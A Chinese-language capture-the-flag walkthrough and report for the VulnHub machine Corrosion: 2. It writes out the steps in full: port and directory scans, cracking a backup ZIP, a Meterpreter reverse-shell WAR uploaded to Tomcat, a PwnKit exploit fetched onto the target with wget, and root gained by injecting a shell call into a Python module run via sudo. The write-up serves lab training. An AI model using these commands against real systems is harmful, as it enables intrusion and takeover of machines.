Corrosion: 2靶场渗透
Corrosion: 2
来自 <Corrosion: 2 ~ VulnHub>
1,将两台虚拟机网络连接都改为NAT模式
2,攻击机上做namp局域网扫描发现靶机
nmap -sn 192.168.23.0/24
那么攻击机IP为192.168.23.128,靶场IP192.168.23.152
3,对靶机进行端口服务探测
nmap -sV -T4 -p- -A 192.168.23.152
4,访问80端口开放的http服务
扫描枚举网站子目录
gobuster dir -u http://192.168.23.152/ -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -x html,txt,php,zip
什么都没有
5,再访问8080端口开放的http服务
弱口令尝试登录失败,再扫描枚举其子目录
gobuster dir -u http://192.168.23.152:8080/ -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -x html,txt,php,zip -b 403,404,400
http://192.168.23.152:8080/backup.zip
得到一个压缩包,解压即可。但是需要密码,解压失败
6,使用zip2john把加密 ZIP压缩包的密码哈希提取出来。它本身 不会破解密码,而是把压缩包转化成 JtR 能识别的哈希格式,再交给 John 去跑字典或暴力破解。
zip2john backup.zip > password_hash.txt
然后使用john对hash字典进行解密
john --wordlist=/usr/share/wordlists/rockyou.txt password_hash.txt
成功得到压缩包密码@administrator_hi5
解压缩包成功,在里面阅读泄露的敏感信息
cat tomcat-users.xml
成功得到账户密码,并且能够登录后台
manager:melehifokivai
admin:melehifokivai
7,java语言编写的tomcat框架爆出来过很多漏洞,例如文件上传。这里使用metasploit进行getshell,首先生成war文件木马
msfvenom -p java/meterpreter/reverse_tcp LHOST=192.168.23.128 LPORT=4444 -f war -o shell.war
然后msfconsole打开监听模块
msfconsole -q
use exploit/multi/handler
set payload java/meterpreter/reverse_tcp
set LHOST 192.168.23.128
set LPORT 4444
run
然后上传java木马
点击进入这个网页即可触发,然后成功getshell
8,进入shell的管理页面,尝试获取可交互式shell
shell
python3 -c 'import pty;pty.spawn("/bin/bash")'
信息收集一下
sudo -l需要密码,这个提权目前行不通
在目录/home/randy中有第一个 flag,并且从/home/randy/note.txt得到提示
兰迪,你好,我是系统管理员,希望你今天过得愉快!我想告知你,我已修改了你主目录的权限。目前你暂时无法删除或添加文件。
之后我会重新调整这些权限。
下周一见,兰迪!
9,发现 jaye 用户的密码和 manager 的密码一样都是 : melehifokivai
su jaye
python3 -c 'import pty;pty.spawn("/bin/bash")'
find / -perm -u=s -type f 2>/dev/null
查找具有 SUID 的命令发现polkit-agent-helper-1
1. 什么是 polkit
- Polkit (PolicyKit) 是 Linux/Unix 系统中一套 权限管理框架。
- 它用于在 非特权用户 需要执行 特权操作 时,进行认证和授权。
- 例如:
- 普通用户尝试挂载硬盘
- GUI 界面里点击“以管理员身份运行”
- 网络管理器修改系统配置
这些操作都依赖 polkit 来决定是否允许,并提示输入密码。
2. polkit-agent-helper-1 的作用
- polkit-agent-helper-1 是 Polkit 的认证助手程序。
- 它通常位于:
/usr/lib/policykit-1/polkit-agent-helper-1
- 主要功能:
- 提示用户输入密码(通常是 root 或自己账户的密码)。
- 将密码提交给 polkitd(守护进程) 进行验证。
- 验证通过后,允许进程临时以更高权限执行操作。
换句话说,它是 polkit 的“桥梁”,在需要用户认证时负责交互。
3. 安全属性
-rwsr-xr-- 1 root root 42952 Mar 21 2024 /usr/lib/policykit-1/polkit-agent-helper-1
几个特点:
- SUID root:带有 s 权限,意味着它会以 root 身份运行。
- 受 polkitd 控制:不会随意给用户提权,而是严格遵循 polkit 策略。
- 高价值目标:由于它是 SUID root 程序,如果存在漏洞(例如缓冲区溢出、命令注入),可能被滥用来提权。
4. 使用场景举例
- 你在 GNOME、KDE 桌面点击“以管理员身份运行”。
- 系统弹出一个对话框要求输入密码。
- 实际上就是调用了 polkit-agent-helper-1,让你输入密码,并验证。
5. 安全研究 & 提权角度
- 正常行为
- 它不会单独给用户 root 权限,必须配合 polkit 策略使用。
- 潜在风险
- 由于它是 SUID root 程序,攻击者如果找到漏洞,就可能绕过 polkit 验证直接提权。
- 历史上出现过相关提权漏洞,例如:
- CVE-2021-3560(polkit 权限绕过,Ubuntu/Fedora 等受影响)。
- 结合 polkit-agent-helper-1 的调用逻辑,可以获取 root shell。
- 检测与防御
- 检查它的权限:ls -l /usr/lib/policykit-1/polkit-agent-helper-1
- 更新系统,修复 polkit 漏洞。
- 审计是否存在非正常调用行为。
总结
- polkit-agent-helper-1 是 Polkit 权限认证框架的 SUID 助手程序。
- 它负责弹出密码提示并与 polkitd 通信,决定是否允许用户执行特权操作。
- 本身是 高价值提权目标,需要保持系统更新,避免利用漏洞被攻击者滥用。
10,那么就可以利用CVE-2021-4034进行提权
export https_proxy="http://192.168.99.74:7897"
git clone GitHub - berdav/CVE-2021-4034: CVE-2021-4034 1day
cd CVE-2021-4034
gcc -o cve-2021-4034 cve-2021-4034.c -static
python -m http.server
然后靶机下载已经编译好的exp
wget http://192.168.23.128:8000/cve-2021-4034
chmod 777 cve-2021-4034
./cve-2021-4034
脚本提权失败,太多问题。
11,randy用户密码可以爆破出来是07051986randy,ssh登录一下
ssh randy@192.168.23.152
看看sudo权限能做什么
再去查看这个python脚本功能和权限
脚本本身不可写入。但是调用了base64模块,那么我们就可以查看base64模块有无调用系统命令的能力,是否可以被写入,在其中加上shell
先写引入os模块,
在写入os.system("/bin/bash")
保存并退出。
12,sudo python3.8运行randombase64.py 脚本
sudo /usr/bin/python3.8 /home/randy/randombase64.py
提权成功,并且得到flag
Corrosion 2 渗透测试报告
1. 测试环境与前期准备
本次渗透测试选取了 Corrosion 2 虚拟靶机,攻击机与靶机网络均调整为 NAT 模式,以确保局域网互通。
通过局域网扫描确认攻击机和靶机 IP 分别为:
- 攻击机:192.168.23.128
- 靶机:192.168.23.152
初步的网络探测和服务扫描是后续渗透攻击的基础,为漏洞发现提供依据。
2. 网络服务扫描与Web服务枚举
- 对靶机全端口和服务版本进行探测,发现 Web 服务在 80 端口和 8080 端口均有开放。
- 对 80 端口进行目录枚举,但未发现可用的敏感目录或文件。
- 对 8080 端口进行进一步枚举,尝试弱口令登录和子目录扫描时,发现了 /backup.zip 压缩包。
- 压缩包存在密码保护,无法直接访问。
3. 加密 ZIP 文件分析与密码破解
通过分析 ZIP 文件可知,其密码未知,需借助密码哈希提取工具将其转换为可破解格式。
- 提取哈希后使用字典攻击成功破解密码,得到压缩包的密码。
- 解压缩包后,发现敏感信息,包括 Tomcat 用户配置文件,泄露了管理员账户及密码。
- 该阶段展示了 信息收集、密码破解与敏感数据利用 的完整流程。
4. Web 服务利用与反弹 Shell
- 靶机 8080 端口运行 Tomcat 框架,使用 Java 语言编写,具备文件上传漏洞风险。
- 结合已知漏洞利用工具生成 WAR 包木马,并在监听模块等待目标连接。
- 上传木马并访问触发页面后,成功获得了反弹 Shell。
- 进一步将 Shell 升级为交互式 Shell,以便执行后续信息收集和权限探测。
此阶段体现了 Java Web Exploit、反弹 Shell 获取与交互式权限维护 技术。
5. 系统信息收集与本地权限探索
- 通过用户权限检查发现,当前用户无法直接使用 sudo 提升权限。
- 在用户主目录中发现第一个 flag,并根据系统管理员留下的提示信息获得线索。
- 发现在同一台机器上的其他用户账户(jaye)与 Tomcat 管理员账户密码一致。
- 切换用户后,搜索具有 SUID 位的可执行文件,发现 polkit-agent-helper-1。
6. polkit-agent-helper-1 技术分析
- 背景:Polkit 是 Linux 系统中用于权限管理的框架,负责非特权用户请求特权操作时的认证与授权。
- 作用:polkit-agent-helper-1 是 Polkit 的认证助手程序,负责弹出密码提示并与守护进程通信,决定是否允许操作。
- 安全属性:
- SUID root 可执行程序,意味着其以 root 身份运行。
- 正常情况下受 Polkit 策略严格控制,不会任意提权。
- 潜在风险:历史上曾存在 CVE 漏洞(如 CVE-2021-3560),攻击者可以利用 SUID 特性绕过验证,实现 root 权限获取。
该阶段展示了 本地权限枚举、SUID 程序分析与潜在提权目标评估 技术。
7. 本地提权尝试与漏洞分析
- 利用 CVE-2021-4034(PwnKit)进行 Polkit 权限绕过尝试,但由于依赖的系统库版本与目标环境不匹配,脚本提权失败。
- 对 randy 用户进行密码获取与 SSH 登录后,评估 sudo 权限配置,发现可执行特定 Python 脚本。
- 分析该 Python 脚本逻辑及依赖模块,发现其使用 base64 模块可调用系统命令。
- 通过在脚本中引入系统调用,结合 sudo 权限执行脚本,实现权限提升,获得 root 权限并成功获取目标 flag。
该阶段体现了 本地提权漏洞分析、脚本滥用技术与 SUID/模块权限利用 技术。